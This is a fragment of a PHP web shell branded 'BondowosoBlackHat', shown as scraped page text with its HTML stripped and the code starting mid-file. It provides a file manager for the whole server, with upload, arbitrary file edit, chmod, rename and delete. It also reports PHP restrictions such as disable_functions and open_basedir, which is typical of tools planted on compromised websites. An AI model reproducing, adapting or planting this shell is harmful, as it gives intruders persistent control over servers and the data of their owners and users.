Authentication Required

'; exit; } } // ---------- FUNCTIONS ---------- function format_bytes($bytes) { if ($bytes >= 1073741824) return round($bytes / 1073741824, 2) . ' GB'; if ($bytes >= 1048576) return round($bytes / 1048576, 2) . ' MB'; if ($bytes >= 1024) return round($bytes / 1024, 2) . ' KB'; return $bytes . ' B'; } // Get current directory: from GET['dir'], then validate $current_dir = '/'; // default if (isset($_GET['dir']) && !empty($_GET['dir'])) { $input_dir = $_GET['dir']; // Remove null bytes $input_dir = str_replace("\0", '', $input_dir); // Resolve real path (follows symlinks, normalizes) $real = realpath($input_dir); if ($real !== false && is_dir($real)) { $current_dir = rtrim($real, '/') . '/'; } else { // If invalid, stay in previous or root if (isset($_SESSION['last_dir']) && is_dir($_SESSION['last_dir'])) { $current_dir = rtrim($_SESSION['last_dir'], '/') . '/'; } else { $current_dir = '/'; } } } elseif (isset($_SESSION['last_dir']) && is_dir($_SESSION['last_dir'])) { $current_dir = rtrim($_SESSION['last_dir'], '/') . '/'; } else { // try document root first, else getcwd, else root $try = $_SERVER['DOCUMENT_ROOT'] ?? getcwd(); if ($try && is_dir($try)) { $current_dir = rtrim($try, '/') . '/'; } else { $current_dir = '/'; } } // Save for next time $_SESSION['last_dir'] = $current_dir; // Handle POST actions $message = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $action = $_POST['action'] ?? ''; $target = $_POST['target'] ?? ''; $new_name = $_POST['new_name'] ?? ''; $content = $_POST['content'] ?? ''; $perms = $_POST['perms'] ?? ''; $new_folder = $_POST['new_folder'] ?? ''; $new_file = $_POST['new_file'] ?? ''; $chmod_target = $_POST['chmod_target'] ?? ''; if ($action === 'upload' && isset($_FILES['upload_file'])) { $dest = $current_dir . basename($_FILES['upload_file']['name']); if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $dest)) { $message = "Upload success: " . htmlspecialchars(basename($_FILES['upload_file']['name'])); } else { $message = "Upload failed. Check directory permissions."; } } elseif ($action === 'rename' && !empty($target) && !empty($new_name)) { $old = $current_dir . $target; $new = $current_dir . $new_name; if (file_exists($old) && rename($old, $new)) { $message = "Renamed: $target -> $new_name"; } else { $message = "Rename failed."; } } elseif ($action === 'chmod' && !empty($chmod_target) && !empty($perms)) { $path = $current_dir . $chmod_target; $octal = intval($perms, 8); if (@chmod($path, $octal)) { $message = "Chmod $perms applied to $chmod_target"; } else { $message = "Chmod failed. (maybe not allowed)"; } } elseif ($action === 'edit_save' && !empty($target) && isset($content)) { $path = $current_dir . $target; if (file_put_contents($path, $content) !== false) { $message = "File saved: $target"; } else { $message = "Save failed. Check writable permission."; } } elseif ($action === 'mkdir' && !empty($new_folder)) { $path = $current_dir . basename($new_folder); if (!file_exists($path)) { if (@mkdir($path, 0755)) { $message = "Folder created: " . basename($new_folder); } else { $message = "Cannot create folder."; } } else { $message = "Folder already exists."; } } elseif ($action === 'touch' && !empty($new_file)) { $path = $current_dir . basename($new_file); if (!file_exists($path)) { if (file_put_contents($path, '') !== false) { $message = "File created: " . basename($new_file); } else { $message = "Cannot create file."; } } else { $message = "File already exists."; } } elseif ($action === 'delete' && !empty($target)) { $path = $current_dir . $target; if (is_file($path)) { if (@unlink($path)) $message = "Deleted file: $target"; else $message = "Delete failed."; } elseif (is_dir($path)) { // Only delete empty folder if (count(glob($path . '/*')) === 0) { if (@rmdir($path)) $message = "Deleted empty folder: $target"; else $message = "Cannot delete folder (not empty or permission)."; } else { $message = "Folder not empty. Delete manually."; } } } elseif ($action === 'go_path') { $new_path = $_POST['manual_path'] ?? ''; if (!empty($new_path)) { $new_path = str_replace("\0", '', $new_path); $real = realpath($new_path); if ($real !== false && is_dir($real)) { $current_dir = rtrim($real, '/') . '/'; $_SESSION['last_dir'] = $current_dir; header("Location: ?dir=" . urlencode($current_dir)); exit; } else { $message = "Invalid or inaccessible directory: " . htmlspecialchars($new_path); } } } } // Refresh after actions if (isset($_SESSION['last_dir'])) { $current_dir = $_SESSION['last_dir']; $real = realpath($current_dir); if ($real !== false && is_dir($real)) { $current_dir = rtrim($real, '/') . '/'; $_SESSION['last_dir'] = $current_dir; } } // Read directory contents $items = @scandir($current_dir); if ($items === false) { $error = "Cannot read directory: " . htmlspecialchars($current_dir); $items = []; } $dirs = []; $files = []; foreach ($items as $item) { if ($item == '.' || $item == '..') continue; $full = $current_dir . $item; if (is_dir($full)) { $dirs[] = $item; } else { $files[] = $item; } } sort($dirs, SORT_NATURAL | SORT_FLAG_CASE); sort($files, SORT_NATURAL | SORT_FLAG_CASE); $all_items = array_merge($dirs, $files); // Edit file $edit_file = isset($_GET['edit']) ? basename($_GET['edit']) : ''; $edit_content = ''; if ($edit_file && file_exists($current_dir . $edit_file) && is_file($current_dir . $edit_file)) { $edit_content = htmlspecialchars(file_get_contents($current_dir . $edit_file)); } // Server info $disable_functions = ini_get('disable_functions'); $open_basedir = ini_get('open_basedir'); $server_software = $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown'; $php_version = phpversion(); $max_upload = ini_get('upload_max_filesize'); $post_max = ini_get('post_max_size'); $is_writable = is_writable($current_dir) ? 'Yes (Writable)' : 'No (Not Writable)'; ?> BondowosoBlackHat

Current:

Writable:

Jump to path: Parent Directory Reset

Upload File

Create Folder

Create File

Rename Item

Chmod (octal)

Server Environment
PHP Version:
Server:
Upload max:
Post max:
open_basedir:

disable_functions:

Name	Size	Permissions	Last Modified	Actions
📁 📄				Edit